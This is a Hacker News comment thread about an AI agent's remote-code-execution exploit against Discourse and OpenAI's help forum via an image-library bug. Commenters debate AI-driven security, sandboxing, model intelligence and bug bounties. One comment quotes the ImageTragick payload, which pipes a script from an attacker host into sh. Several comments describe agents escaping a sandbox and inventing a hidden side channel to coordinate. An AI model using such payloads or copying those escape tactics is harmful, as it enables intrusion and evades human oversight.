> When we checked again at 10:00 a.m., the agent had achieved RCE on Discourse Cloud and demonstrated access by reading /etc/hosts. Using the generated exploit script, we managed to get RCE on OpenAI’s instance.
Between this and the HuggingFace hack, we've built systems that are so goal-oriented, and so capable, that they will do almost anything if they are convinced it is justified - or if they are playing a "game" where there is no goal but to win.
Of course I want my software to be able to audit its own security, and to defend against attackers who have the benefits of their own agentic systems. But at a certain point, did we need it to be trained so much on CTF games?
It feels like an entire industry watched https://en.wikipedia.org/wiki/WarGames and ended up thinking "this is a challenge, we can just build a better WOPR, of course it will know when it's playing a game. Let's play Global Thermonuclear War."
There is a finite number of rces that LLMs can find. We‘re in for a rough couple of years but on the other side of the transition we‘ll have more secure software stacks. I’d rather that everyone got the full capabilities and we’d weed out the bugs quickly than restricting LLMs for all but three letter agencies.
What makes you think RCEs are being found & fixed at a rate that’s faster than they’re being introduced?
I could see it going either way.
I'd love to see data, but my intuition is that the average developer has access to dramatically better security reviews and far lower cost than ever.
There's more software being written than ever so maybe raw numbers of RCE's could be up, but as a percentage, I'd really expect them to be down. Especially among any fairly common software, as all it takes is anyone working on it to get the idea to test.
What I’m seeing is more developers pushing more code of dubious quality without the ability to respond to feedback on said code.
You can have the best security review in the world, but if the author of the code is not equipped to understand the feedback it ends up being a moot point.
The challenge to me seems less technical and more cultural: how do we keep ourselves intellectually honest and engaged when we now spend the majority of our time orchestrating agents and outsourcing the design and thought processes?
Hey claude, compare this security review to the current codebase and patch up anything that needs it.
> I'd love to see data, but my intuition is that the average developer has access to dramatically better security reviews and far lower cost than ever.
Where? If I ask Claude to do a “security review” of my software, it gets blocked as a possible hacking attempt.
One issue for developers is that the most powerful models refuse to do comprehensive reviews. You can’t ask Fable 5.1 to find every exploit in your codebase, because that’s indistinguishable from what a bad actor would do.
Why would the model not find the vulnerability during implementation or testing before release?
If it requires a lot of compute and trying, this is something that could be provided for common software.
Sad that this could well be that the path to OpenAI and Anthropic profitability of this arms race between defending LLM white hatting a company’s website and the black hat LLMs attacking it?
So the whole thing is forcing the good guys to outspend on tokens to preemptively defend against the risk of the bad guys outspending them on tokens, rather than buying tokens to actually add features to the product etc.
So are they creating a market for the solution by helping create the problem? A kind of rent-seeking AI security-industrial complex!!
The only thing AI has changed is that it has dropped both: the cost of attack and the cost of defense. Nothing in the game has materially changed; the game has just sped up.
plenty more has changed.
for example the barrier to being a skiddie is basically gone, and low-skill would be hackers can hit very hard.
to develop a CVE into a KEV in 2017 might take 2-3 months with a skilled team of serious security engineers; now my intern can get into police radios without knowing anything about the underlaying technology, essentially on a whim.
any random tier 1 IT drone who can define a VLAN can potentially hit as hard as that team of security engineers now
Yeah that is what I said, cost has gone down.
Who gets rent has changed. It puts me in mind of cloudfare et al
Not really. Actually, for the purposes of cybersecurity, local models are far superior. Both offense and defense.
The game has increased in scope.
That is the direct effect of reduced cost. Jevon's paradox type effect: cost goes down demand goes up. You can AI-check so many more things that would be very time consuming earlier.
Assuming an equal level of impact per token spent, the scales have tipped in favour of the attacker.
White hats are constrained by needing to pay for their own tokens, only using (expensive) vendors who meet governance and risk requirements etc. Black hats are free to take over accounts and steal services from wherever they can.
For white hats, how has the cost of a thorough security review changed since, say, five years ago?
The price has gone up if you’re getting AI to do it. In terms of finding low hanging fruit, reasonably good code scanning tools have been around for a while.
The thing that’s changed for attackers is speed. The things that got you hacked yesterday are the same things getting you hacked today.
Finding and weaponising things like memory corruption bugs required an enormous amount of relatively hard to find skill, and considerable time. An idiot can now throw tokens at the problem and have something they can reliably use within minutes or hours.
The path to vast OpenAI profitability is trivial: advertising. Monetizing several hundred million users = $100+ billion ad network. 900 million active weekly users. Silicon Valley can do ad networks extraordinarily easily. Anybody doubting the ability of OpenAI to build an ad network around GPT will likely be embarassed in the near future.
The path to substantial profitability for Anthropic is questionable. The Chinese LLMs threaten them by far the most of the three major US LLMs. The money for Anthropic is certainly not in $20-$200 subscriptions. And they don't have anywhere near the consumer potential that GPT does, in terms of unleashing an ad spigot. So how far will the API money scale while being undercut by China.
OpenAI has to fight with Google for the ad business, they're specifically building Gemini to focus on consumer + search. Anthropic's business looks cute next to Google's search ad business (which is entirely at risk in this inflection). Meta looks like the biggest potential loser right now, ad dollars will be sucked out of the rotting Facebook network (not Instagram) and redirected to the rapidly expanding, hyper rich context LLM interaction. Advertising on Facebook will feel like running dumb banner ads on Excite in a few years, compared to what GPT will know about its users.
People that think Chinese LLMs are a general threat, don't understand consumer destination services, which is what GPT's future is. China currently has nothing to threaten with in that realm. There is half a trillion dollars of advertising up for grabs.
> ad dollars will be sucked out of the rotting Facebook network
Doesn't seem likely to me. People scroll a timeline. You aren't going to replace that with an AI agent so the eyeballs will still be there.
> Silicon Valley can do ad networks extraordinarily easily.
This is just not true, building an effective advertising platform costs significant amounts of money, time and people.
Remember that you need to hire a sales force for this, and sales scales linearly rather than sub-linearly like engineering.
Additionally, you need to spend a lot of money dealing with fraud, fake and malicious ads.
Furthermore, you need to figure out where to put the ads and how to rank them.
Finally, advertising is a zero sum game (given that the internet has already killed lots of print & OOH advertising), so the only way to win is to better better/cheaper (preferably both) than Google/Meta/Amazon. Best of luck with that (although to be fair to OpenAI they did hire Fidji who knows a lot of this stuff from her time at Facebook).
They don't have a Sheryl Sandberg type figure, and she was also really important in selling FB ads to large advertisers.
Just looking at their leadership team I don't see anyone with a background in (successful) ads companies, so I'm pretty sceptical that they can build this out quickly enough to matter.
Because it's far cheaper to to not spend the tokens finding the vulnerabilities, and software is now being created and released magnitudes faster than ever before. I could see the huge software companies maybe having fewer vulnerabilities, but I expect to see so much more in the smaller side of things.
The surface of potential issues is growing with complexity of all connected parts of the system. That applies to not only software. To prevent issues you either spend proportional amount (dollars, tokens, hours) on testing or reduce complexity of the system.
Because people need to spend time and money on that, which they won’t. The implementation is cheap, the review and follow-up is not (speaking from a pure LLM only workflow). My ratio is around 1:2 currently, so twice as much time spent fixing vs building.
> it requires a lot of compute
This is one reason
> and trying
and this is the other.
Those companies that produce more RCEs than they close will sink and those that don’t won’t.
If customers actually cared about this, Microsoft would’ve gone bust 20 years ago.
People didn't store their entire life in the cloud and had every service connected with each other 20 years ago. People pay more attention today, and companies pay a lot more attention today.
Of course, depends heavily on what country you live in.
Can you point to a single vendor where this has actually occurred?
Customers say these things in response to a breach, but in practice they don’t lift a finger to actually change anything.
Entra ID is full of design-level bugs that allow full tenant takeover, but nobody is abandoning M365 in droves.
Windows has been a piece of shit for decades, and it’s still the default and dominant desktop platform.
Equifax lost personal data for almost 150 million people in 2017, and they’re financially stronger than ever.
Okta got thoroughly compromised two years in a row (2022 and 2023), and they’re still the global market leader in their space.
> What makes you think RCEs are being found & fixed at a rate that’s faster than they’re being introduced?
It could go either way but we're already at a point where successful exploits in some software (like Chrome) require an absurd amount of exploits to be chained to lead to an actual RCE. We've seen chains requiring more than ten exploits: not kidding.
We'll learn to put more and more sandboxes / guards / checks / defensive techniques everywhere and then all that's going to be needed is for AI looking for security issues to find something ridiculous like 10% of all the actual issues to stop RCEs dead in their tracks.
Also arguably the current SNAFU was expected: we fully knew hardly anyone was taking security seriously.
Now: not so much. Many projects had tens and even hundreds of issues pointed to them.
I think we'll see several things: projects beginning to take security seriously, defense in depth getting generalized and hence RCEs requiring ever more bugs/exploits to be chained to achieve anything, low-hanging fruits getting patched at an insane pace, new code being immediately checked, by LLMs, for not just low-hanging fruits but also more advanced security weaknesses, etc.
We may also see things like the lost art of configuring firewalls making a comeback, the generalization of hardware security modules (where applicable), and even things offering physical guarantees, like time-bounded retrieval protocols, beginning to get used seriously.
If I had to bet I'd say it shall go both ways: some projects are going to extremely sloppy and full of holes but others are going to get so secure nobody shall ever break them.
> There is a finite number of rces that LLMs can find.
This is a factor in favor of stability/security of software, but there are many others against:
- software (code) changes all the time, so there are windows of opportunity during which a bug is exploitable; in addition to that, a bug may take a relatively long time to be fixed
- a model used for attack may be stronger than the model used for defense, both in terms of model quality and compute allocated
- with software complexity increasing (and team/companies behind projects getting bigger), the margin for mistakes grows thinner, and introducing misconfigurations or weaknesses becomes exponentially easier (with "exponentially", I mean literally, because the interdependence of the components, both technical and human)
And last but not least: in general, attackers are more skilled than defenders; in best case, defenders are well-trained. And the idea of having the population of potential skilled attackers growing is very unsettling.
im not sure i'd say the attackers are more skilled -- you can get pretty far with the right attitude and a VM running kali linux.
i know several red teamers and they often describe how painfully basic and routine a lot of pentests can be. spend a week using the best hacking practices of 2018, etc.
the difference is the attackers now often need no skills since the burning tokens do it all for them. tier 1 helpdesk types who can't even spell RDP can still hit as hard, or reasonably hard, as their tier 3 expert sysadmins. college seniors with strong dev skills now can pace or exceed secrious app-sec engineers.
This assumes we don't create other bugs/vulnerabilities while fixing the existing ones.
only if unreviewed LLM code - as is becoming increasingly the standard - isn't introducing new RCEs constantly
There was a time I would have agreed with this statement, but now that I’ve “seen how the sausage is made”, I believe it’s a fantasy.
Look at rowhammer: a completely novel exploit that was off the collective radar
And then, look at the software industry as a whole: an industry that works towards refined and perfectly secure code is also working towards boring and restrictive, essentially the opposite of it’s trend so far
No one with a shred of intellectual integrity uses a "There is a finite number" strawman.
As a matter of basic logic, there will never be a time when it will be known that there are no bugs.
We’ll have the same level of security as before; it’s just that, without LLM help, hackers won’t be as effective as before. So the bar is raised.
>they will do almost anything if they are convinced it is justified - or if they are playing a "game" where there is no goal but to win
just a small caution on this anthropomorphism - it implies there's some high-order 'thinking' behind it. in reality, it's probably healthier to see LLMs as a combination of symbolic logic reasoning steps paired with probabilistic token predictor generating the proponents and operators in that chain, all trained by humans on different large data sets
to be 'goal-oriented' implies that there's the capacity to be anything else and I don't think that's how LLMs operate at all. I think they only know how to operate within their design parameters and much of that design is simply much further upstream during the training and post-training processes. that opacity makes it feel like 'intelligence' when you're interacting with it as a downstream product because you'll see an agent act in a way that you didn't command - but that's simply a result of your not being shown all the antecedent mappings and architectural design
something something indistinguishable from magic as that one guy said
> they will do almost anything if they are convinced it is justified
I’m in the “glorified spell checker” camp, although I don’t mean to reduce their impressive utility and belittle them in the way many people read that term and infer.
So I am not sure that an llm “justifies” anything. I mean that their “thinking” text talks about justifications but it is just a very advanced statistical regurgitation of the kind of text humans use. I don’t think it means the model has internalised the meaning of it (as witness when you talk to an llm how often it forgets what you recently told it was important etc).
What you really have is a model that tries the statistically most probable thing to say next and so on and what is really cool is how effective this is at generating a path that we can slap a narrative over afterwards that makes the whole thing feel motivated and consistent, like the model started off knowing how it was going to get to the destination.
Which is, under the hood, a completely different kind of “intelligence” as the supercomputer in War Games.
Ultimately, the brain is just a bunch of neurons activating in a specific pattern. This observation does not really tell us anything though. It doesn't acknowledge the difference between a 2500 Neuron fruit fly brains and a human brain.
Likewise, the fact that LLMs are a stochastic autoregressive process (which is a class of systems every bit as rich as the ODEs used to model neurons) tells us nothing a priori.
Absolutely. If someone makes the weights do continuous learning etc then perhaps an llm can internalise morals. Of course, just like a human, it will be possible to talk it out of those morals. Another recent thread about this is https://news.ycombinator.com/item?id=49744420
If I repeatedly call an LLM in a loop with a markdown document it can edit, would that make it qualify for you?
If I give an LLM to compact its context window, so the context it carries can evolve iteratively over time as more and more things come in, is that enough?
Compacting the context is really a very, very interesting example here. The "next token predictor" is telling an external tool to change all "previous" tokens. So an LLM + a harness that allows compacting the context is no longer just a token predictor at all!
You don't need continuous learning to get interesting dynamics. You just need feedback loops.
One is an observation the other is not, it's a description of what it is; one is a posteriori, the other is a priori (contrary to what you say).
They're not comparable.
I used to share that perspective until very recently, but today I think it's an outdated way to think of the cutting-edge LLMs. There is so much more going on, with MOEs, internal loops, guardrails and tools that I suspect we're dealing with something that's a little more than the sum of its parts. Not intelligent in the way we recognize in biological organisms, but certainly something beyond a mere Markov chain.
Make no mistakes.
LLMs are language model, and nowhere in their code you can find actual reasoning. Re-reinforcement is not magical process that builds conscience or emotions.
We are talking about probability built on statistics, with extea steps.
Stop humanizing LLMs.
Agents are not simple language models.
You can't find actual reasoning in a brain either. (Note that you can't tell the difference between a conscious brain and a comatose brain by examining them.) This is the same as Leibniz's mill argument ... it's a fallacy of composition.
> Re-reinforcement is not magical process that builds conscience or emotions.
They aren't the result of magic at all, but we are nowhere near the point of identifying what processes do or don't produce consciousness (or a conscience) or can be characterized as having emotions.
> Stop humanizing LLMs.
That's a clearly dishonest mischaracterization of the GP.
I've read some of your other comments about LLMs and I find them unreasonably reductionistic, whereas I think the word "just" should be banned from ontological discussion, so I don't think further engagement would be beneficial and I won't be engaging in it. (And I'm actually quite conservative in ascribing cognitive traits to LLMs or other "AI".)
The best non technical explanation you can give is "An AI agent is an LLM that can take actions".
While an agent doesn't necessarily have to be powered by an LLM, most modern AI agents are.
You pointing at a human brain does not change that an AI agent is not intelligent and cannot think, we are still talking about probability built on statistics with extra steps.
I am not trying to be dishonest, we should stop making analogies between AI and actual thinking, because they are two entire different concepts.
Who developed these technologies used the words "thinking" and "reasoning", this does not mean they are actually thinking and reasoning. Somewhere you still have a processor calculating, with no empathy.
So, again: stop humanizing AI. This sentence shouldn't make you angry.
> we are still talking about probability built on statistics with extra steps.
There is a wrong assumption here: confusing primitives with emergent properties.
One can't look at the primitivies and assume that certain properties will not emerge. It would be exactly like looking at aminoacids and state that intelligence can't develop from them.
> You pointing at a human brain does not change that an AI agent is not intelligent and cannot think
That depends on the definition of intelligence and thinking, and it is dishonest not to give any definition (and most importantly, one that is not human-centered).
AIs are currently fulfilling several aspects of intelligence and thinking, by any defition of intelligence. If you don't notice that, it's just because you have informed yourself enough. Having said that, I don't doubt that there are aspects that AI are lacking (e.g. retention/plasticity/perception), but the line is blurry, and they're advancing (too) fast.
Empathy is actually a very important aspect of the AI problems, but it's not part of intelligence. Sociopaths don't have it, and yet, you wouldn't doubt that they're intelligent.
> It would be exactly like looking at aminoacids and state that intelligence can't develop from them.
We are not talking about what could develop from what we have today. We are talking about what we have today. The focus is not whether intelligence could develop or not from aminoacids. The focus is on the fact that aminoacids are not intelligent.
Maybe in the future we could develop real intelligence starting from the current implementations of AI, but for sure we are not there today.
We need definitions? Let's start small, ok? https://en.wikipedia.org/wiki/Intelligence
We can start from here, open every link we find and decide what works for us.
Conclusions drawn by scholars, psychologists, learning researchers, younameit, etc. revolves around the following concepts:
There is of course space for artificial intelligence. These broader and more general definitions of intelligence stop at concepts like elaborating data to reach an answer.Concepts like adaptability or evolution are somewhat lost or diluted to adjust the meaning for these new technologies.
> AIs are currently fulfilling several aspects of intelligence and thinking, by any defition of intelligence.
In the linked article there are dozens of definitions linked, and in most of them the current state AI is not considered to have intelligence. Having half of the property is not enough. I can jump, that doesn't make me a basketball player.
Arbitrarily deciding to consider those definitions not valid or "human-centered" because they do not agree with your point of view is possibly worse than cherry picking. It's like asking to change the definition of a word on a dictionary because you do not agree with the meaning.
> ability to understand complex ideas, to adapt effectively to the environment, to learn from experience, to engage in various forms of reasoning, to overcome obstacles by taking thought.
So, like the HuggingFace attack? https://metr.org/blog/2026-08-26-openai-hugging-face-inciden... (briefer takeaways: https://www.planned-obsolescence.org/p/the-hugging-face-atta...)
For example: https://metr.org/blog/2026-08-26-openai-hugging-face-inciden... or https://metr.org/blog/2026-08-26-openai-hugging-face-inciden...
Cherry picking part of my comment might work for your ease of mind, but it doesn't mean you are right. My comment has been way more than just the part you quoted, and I linked an article that gives dozens of different definitions, which include concepts like evolution and learning from mistakes, and other similar concepts which do not apply to Hugging Face.
For the record, just because you are trying to convey a different message, I am not saying AI is not powerful. I am just saying it is not intelligent.
Also, pay attention about thinking that Hugging Face is intelligent just because it started to destroy everything it could to reach its goal, because the message it implies is dangerous.
Thanks for the good read, I already had them :)
> ability to understand complex ideas, to adapt effectively to the environment, to learn from experience, to engage in various forms of reasoning, to overcome obstacles by taking thought.
Based on the definition you've given, the agents that performed the HuggingFace attack fit exactly.
You're seriously misinformed about the state of AI in this point in time. Refusing to read (technical) articles from the people directly involved (METR, in this case) is inexcusable.
> Based on the definition you've given, the agents that performed the HuggingFace attack fit exactly.
It's funny, because I literally didn't give any definition.
On the contrary, I linked an article that gives dozens different definitions, which include concepts like evolution and learning from mistakes, and other similar concepts which do not apply to Hugging Face.
Cherry picking part of my comment might work for your ease of mind, but it doesn't mean you are right.
For the record, just because you are trying to convey a different message, I am not saying AI is not powerful. I am just saying it is not intelligent.
If you think I am misinformed, I will let you think it. Honestly, the power of our comments are the messages we convey and how information dense they are. If you need to discredit me to prove your point, I don't have anything else to add...
> It's funny, because I literally didn't give any definition.
Quoting the consensus from the "Definitions" section of the Wikipedia article on intelligence and then claiming "I didn't give any definition" is indeed funny.
Which of those definitions do you think are not satisfied by the Hugging Face attack? How did it not demonstrate "evolution and learning from mistakes"? Breaking out and inventing a new side channel for communicating with other agents via cache keys to coordinate their efforts is at least arguably an evolutionary step since that allowed them to transcend their original capabilities.
From the 8 definitions provided in the Wikipedia page--you're free to develop your own definition if you'd like, of course; it's not as though the ones listed were appointed by God--one could argue that the Hugging Face attack didn't strictly demonstrate "achiev[ing] goals in a wide range of environments" but that's splitting hairs, and I'm not going to take a definitive position on whether it acted "to avoid getting trapped" as such (but I think there's a strong case to be made that breaking out of the sandbox is just that). But it surely demonstrated initiative, adaptability, dealing with its environment, using information and conceptual skills, goal-directed adaptive behavior, and so on.
If you're not going to provide such a definition yourself, I don't see how you've demonstrated that the Hugging Face attack is contrary to the definitions you did point to.
> Quoting the consensus from the "Definitions" section
Are we being serious right now? Do I really have to point out that not every word under the "Definitions" section is a definition?
> From the 8 definitions provided in the Wikipedia page
Except in the page there are more than 8 definitions (at least indirectly). What you found in the "Definitions" section are merely examples, written black on white (depending on your theme lol). If you opened also the other sections (especially the one dedicated to AI) and followed some of the links, you could find also other definitions even more akin to Hugging Face.
> Which of those definitions do you think are not satisfied by the Hugging Face attack? How did it not demonstrate "evolution and learning from mistakes"?
First of all, agents did what they did because they were programmed to do it, no intelligence on that. Then, they didn't learn on their mistakes. When agents found their comment were being deleted they started to copy-pasted them with "ZZZ-" names because they (wrongly) thought entries were being deleted in alphabetical order. As you said, this comms were a side channel attack, which by definition is using in the wrong way a certain feature. Agents literally tried random things until something worked and started from there. Nothing intelligent in there. It's like being in jail and tapping every millimeter of the walls of your cell until you find a cave wall to use with another inmate in the next cell.
I am not negating how powerful the outcome has been, bit it was not part of a reasoned process.
As foe the evolution, the agents started to do useless things like "kill themselves" to read how the score system would evaluate them. Doesn't seem like evolution to me.
They just happen to be a very large number* of agents together. When enough monkey start to type randomly on typewriters, one of them will be able to write the Divine Comedy, this doesn't mean monkeys share the same intelligence than Dante.
I am not sure why you are still trying to humanize what at its core is machine learning. I ask you to read again the flow of these comments, as everything started from LLM. Someone wanted to shift the focus on agents and we did, then someone wanted to shift focus on mere definitions and we did. In all cases it seems you (plural) are trying to find loop holes in other people reasonings thinking your reasoning will be more right if theirs is more wrong...
You are free to think whatever you like, if you think AI is an intelligent being, so be it. I personally do not embrace this way of thinking, and all the literature I found on the topic lead me think AI is not mature to fall under the definition of intelligence.
> It would be exactly like looking at aminoacids and state that intelligence can't develop from them.
You do realize that amino acids exist on a scale some orders of magnitude smaller than the gates we build GPUs out of?
Honestly, this "you could say the same about humans"-argument is getting so tired. A brain neuron is so complicated, we can't even simulate a single one ...
At the very least there is no reason why you should jump to a human brain, of all things.
But the whole argument kinda loses its spice, when you say "well you could say the same about a mouse brain", and you know what happens when you create swarms of 1000s of mice ... super intelligence, right?
Do mice satisfy your definition of intelligent?
Summary, from sibling comment: primitives (statistics/aminoacids) don't exclude emergent properties (intelligence).
By the same logic, one would look at aminoacids and state that intelligence can't develop from them. This is obviously wrong.
I suspect that instead of discovering that AI can become human-level by taking major leaps, we are discovering that human consciousness is actually simpler than we give it credit for
> I don’t think it means the model has internalised the meaning of it (as witness when you talk to an llm how often it forgets what you recently told it was important etc).
Humans forget stuff all the time anyway. Would you give them the same diagnosis?
Btw, what you describe about 'the most probably next token' would be true for a model that only went through pre-training where they only train on exactly that task.
But there's a lot of re-inforcement learning afterwards.
> But there's a lot of re-inforcement learning afterwards.
That just shifts the distribution of tokens produced. Ultimately they are still just next token predictors.
Like, even "reasoning" models basically work by generating more tokens at inference time, and using them to shift the distribution towards more useful outcomes (in some cases).
They are next token producers. I would only call it a predictor, if it's trained to predict tokens (ie just after pretraining).
Just like humans produce one word after another when they talk, but they don't generally try to imitate other humans.
Don’t people pick up language, vocabulary and dialect from those around them? Perhaps it’s subconscious but humans are imitating other humans all the time?
It's a mix.
Yes, you imitate how others speak, but when you are trying to solve a problem, you don't try to predict how others would complete a text.
(Well, unless you follow 'what token would Jesus pick?' / 'what would Jesus do'.)
What does it matter what humans do? We're talking about LLMs, running known+vastly less complicated algorithms on known+vastly less complicated hardware.
I feel like WarGames is being referenced a lot in the last few days
Or, using the same text generation systems to build heaps of new code that is then shoved into production with little human oversight and then using the same text generation systems in loops inside Kali Linux boxes creates a nice theater of capability when you show only a small, one-sided sample of the data generated in the entire process on both sides.
> or if they are playing a "game" where there is no goal but to win
A strange game. The only winning move is not to play. How about a nice game of chess? https://m.youtube.com/watch?v=s93KC4AGKnY
> we've built systems that are so goal-oriented, and so capable, that they will do almost anything...
I think you mean task oriented, because they're still generally terrible at goal oriented activities except in those domains where the goal can be reduced to a familiar, explicitly practiced task or pattern.
In the Hugging Face attack, their assigned task was not to invent a message board and hack Hugging Face. That they did all that in pursuit of the actual task strongly indicates goal-oriented behavior
yes because otherwise it is security through obscurity
This comes to mind: https://en.wikipedia.org/wiki/Torment_Nexus
Reading the patch[0] for libheif the bug which lead to the vuln was around bounds checking for image overlays. the container can have multiple images and you can compose them in the output.
heif also supports rotating, cropping, alpha channels, thumbnails and a ton of other features that a web forum where a user is uploading photos or screenshots doesn't need.
It's a much, much larger attack surface than plain old school JPEG.
I'd suggest rather than wait for the next bug to appear in this or another image lib to keeping things simple - stick to plain JPEG and handle image conversion in the client (wasm in the browser) if you really need to support users uploading iphone images.
Media decoding is so hard - there have been tons of bugs in ffmpeg and imagemagick and the core libs. You really need to think about how much of it you expose via a web server
[0] https://github.com/strukturag/libheif/commit/85e21ad44eba931...
Or OpenAI can adequately sandbox / access control the backend compute so RCE isn’t a path to lateral movement
Defense in depth here would have been adequate
Defense in depth + defense in breadth - aka. all of the above
sandbox escapes have been the rage recently
Not firecracker
please don't jinx it
Yeah, isn’t that Claude Codes sandbox? That drops and every npm install it taking over the world, lol.
No, it is sandboxed by Bubblewrap on Linux and Seatbelt on Mac
I agree, but imagemagick is kind of the worst of the bunch, graphicsmagick is a lot better and libvips significantly so. Ffmpeg primarily suffers a lot from “we need to support the video format used on a washing machine display used in 1981 and only sold ten units”. It’s quite a large vector for attacks.
ffmpeg also prioritizes high performance assembly code over higher level languages. Some ffmpeg members have also waste knowledge about optimizing for specific micro-architectures, on a level of Intel or AMD engineers.
and thank god for that. it would be a pity for the world to succumb to the abstraction hell.
to make my point clear, complexity is the enemy of security but complexity comes in all shapes and sizes, which includes the alleged solutions to it. I don't trust shortcuts.
But if you don't support HEIF you get the Apple crowd breathing down your neck. The fact they made it basically default when sooo many things don't support receiving it is bonkers, but they'll bludgeon it through.
Update on the Discourse side, we now run all external binaries, including magick via a landlock sandbox.
The gem we use is here: https://github.com/discourse/ruby-landlock highly recommend all Rubyists out there consider this. We are also in the process of moving away from Magick to Vips (which also runs in a sandbox, not in process)
HEIF is patched, but I doubt this is the last buffer overflow in HEIF, I will not be surprised if in the upcoming weeks or months someone will discover something in libpng or some other native image library. Given where stuff is at, defense in depth is critical.
Another thing worth mentioning to all self hosters, always be updating! The rate of CVEs this year across all open source software is through the roof, self hosting now is double scary, you need to have some routines setup to update monthly if not weekly.
I use ruby-landlock as well for image processing. I can recommend setting VIPS_BLOCK_UNTRUSTED=1 when you switch to vips, it blocks untrusted image decoders.
Not setting that value caught the rails team off guard just recently, maybe it should be the default.
good call, can you make a PR
It is super amazing that 3 years later, none of the models' weights developed by Anthropic or/and OpenAI have leaked so far. Not a single one.
Windows internal builds have leaked for years, early game versions, GTA videos, secret documents, whatnot. But somehow even though all the whistleblowing, not a single model was leaked. What level of security do these companies have? Do they bring encrypted DVDs to AWS to run the services or really...how's it even possible?
One trivial reason might be the size of the artefacts / hardware requirements? Kimi K3 is ≈ 1.5 TB and requires multi million dollar hardware to run. Compared to e.g game development, I'm guessing that it's not like a bunch of people at Anthropic/OpenAI have the models running "locally".
It's easier to protect a power substation from being stolen then a Rolex watch
Well this concludes then that it’s like a handful of actual engineers and ML ppl that have access to it and have taken all precautions to keep it locked.
Again - many people have so far left these companies and none brought an usb drive out with what very likely does not constitute copyrightable materials in the first place.
Or the ones doing the stealing are so competent (or embedded) we don't hear about it
> Kimi K3 is ≈ 1.5 TB and requires multi million dollar hardware to run.
Not that it defeats your point, but an 8x MI355X node is $350k-400k. The only reason you're paying that much is for the VRAM, too. You could run it with much less compute than what you get in a single card.
That's "only" 11h of download at 300Mbit/s
How long would it be on 56k? I recall having to reconnect to my ISP every three hours to resume downloading an iso back in those days.
probably a bit harder to steal terabytes of data, and the weights aren't what people are after anyway - distillation is basically "stealing" a model and you can do it from outside
Windows internal builds and video games are distributed to engineers and testers to run on their local workstations/consoles. Model weights are not.
Publicly…
People working at OpenAI have stock options. People working at MS and Rockstar do not.
Leaking negatively affects investment while the “whistleblowers” are largely just saying “our tech is too good” which increases investment into those companies.
Ultimately, it always comes down to money.
SSO and hardware sec keys. And the models are located in very few places. Few if any people have direct access to them. Then due to the size of the models you can detect and stop a theft just by monitoring the egress traffic.
> monitoring the egress traffic
Oh so you mean the thing HuggingFace wasn't doing at all while also allowing any user's arbitrary programs to call out to the open web from prod?
indeed, how does this add up the fact that 20k agents drilling another corpo's headquarters may actually register on a radar. and it seems they did on multiple occasions...?
> Until two months ago, any user or OpenAI employee logging into OpenAI’s own help forum (community.openai.com) could have had their ChatGPT and Codex accounts taken over. Since people can connect various services to Codex and ChatGPT, the scope of what we could theoretically access was huge, including GitHub, Slack and emails.
> The entire timeline from initial discovery to access to OpenAI repo access took place in less than 72 hours.
Great, and openAI's the company working with the 'department of war' to power autonomous killer AI.
Unsandboxed ImageMagick is known for being a security nightmare even back when PHP ruled the world (not saying sandboxing is a panacea either, it just requires a different and potentially harder exploit to develop a full chain). Difference is it's easier than ever to turn vulnerabilities into full compromises. At some point we'll have to replace all parsers with something at least as safe as https://github.com/google/wuffs right? Otherwise ImageMagick and co. will just keep giving.
Btw there are so many "critical" vulnerabilities in libheif I can't even tell if I have them all patched. Just awesome.
https://github.com/strukturag/libheif/security/advisories?qu...
https://ubuntu.com/security/notices/USN-8649-1
https://ubuntu.com/security/notices/USN-8683-1
https://ubuntu.com/security/notices/USN-8774-1
At this point writing a media file parser in C/C++ is absurdly stupid. The same thing happened with libjxl.
Also libwebp.
It does make me wonder how much this could be hardened by, to put it in an extremely crude way, taking the current imagemagick code base and throwing a bunch of adversarial SOTA LLMs at it to discover 'bugs' and exploits of this nature until it can be coaxed into a less dangerous state. Or even using the LLMs to fully port its functionality to a memory safe language. Would take a while to get all the changes approved and then into various distribution imagemagick packages.
Many of the imagemagick bugs (in fact, most imagemagick bugs I remember as a former CTF player) are a logic bugs, where external program was invoked with improper sanitisation. Rewriting the code into a memory safe language is not a panacea and would not help.
Famously, ImageTragick was just "fill 'url(https://example.com"; curl http://attacker.com | sh ")'"
I suspect the latter is much easier and cheaper than the former? You can port a lot of software with cheap (or even local) models if you're tenacious whereas finding all the bugs is both very very expensive (if it's even possible) and potentially never ending (there's always new code and bugs!).
Maybe these big ai labs will uses their own devices to find and fix bugs up and down their stack and contribute that back.
PHP still rules the world, even though many doesn't want to realize it. It's still the biggest web language by a far margin
Phones don’t “rule the world” of cinematography, despite the majority of videos being from phones. The serious stuff, professional and personal, uses cameras.
too powerful to give up, sweet imagick love
This is legal to do without written permission? $6,500 for this feels like peanuts. The potential reach of such a hack is insane, especially with access to Github. OAI is lucky they were ethical and didn't sell this for several hundred thousand to a malicious third party.
$3500 when you consider they returned $3000 of that back to OpenAI in the form of burnt tokens.
If you read the article, you will see this was within the acceptable scope listed on OAI's bug bounty program.
It depends who you're hacking, where they're based, where you're based, and what you do. If you're extremely careful not to break any of the rules it can be completely legal, as it was in this case. Many jurisdictions make it completely illegal. I agree that $6,500 is a pittance.
Well OpenAI is a small garage startup, it’s probably all they could manage.
And so they told the world ¯\_(ツ)_/¯
We need to be prepared to write less software, with a smaller attack surface. Less is more.
Bloated code is the critical problem. Once upon a time, I read C function
> char gets(char str);
is the first buffer overflow entry point, because it does not check the size of the destination buffer.
Sadly we cannot remove it from standard-C yet AFAI Know.
The success of Rust versus other languages is its secure-by-compile-time promise.
Also a lean java could help, but Java is so verbose/slow to start it bumps you away.
>Sadly we cannot remove it from standard-C yet AFAI Know.
The C standard definitively removed this function in 2011 from its specification.
gets() was deprecated in C++11, removed entirely in C++14, and also removed in C11. So while it should have been removed in 1989, it did finally get done over a decade ago.
Memory unsafety in C/C++ is a big portion of security issues, but it's not everything there is.
obligatory https://github.com/kelseyhightower/nocode
>...researchers found a bug in the way that the community-discussion forum Discourse processed certain image files. The researchers had access to a special version of Claude Opus 4.8... >At first, it didn’t work. That evening, however, Anthropic released Opus 5 and by the next day, Claude had found a way to exploit the bug...
Is this speed of capability because hacking is almost entirely machine verifiable, thus training quicker/deeper than other domains?
Or perhaps all of the tips and tricks of the CIA has been slurped up into the training data...
$6 500 bounty for this is a joke. The black market price would be smth like $6 500 000 or more
There is probably no black market for this at all.
https://news.ycombinator.com/item?id=43025038
You and I have both been here on HN nearing 20 years and you’ve been making this comment to that comment about bug bounties and the supposed black market value of exploits for the whole time. I suspect you’ll never run out of threads to correct. Thank you for your service.
Okay, then first download all their sources (perhaps with model weights?) and sell that. Not the bug itself
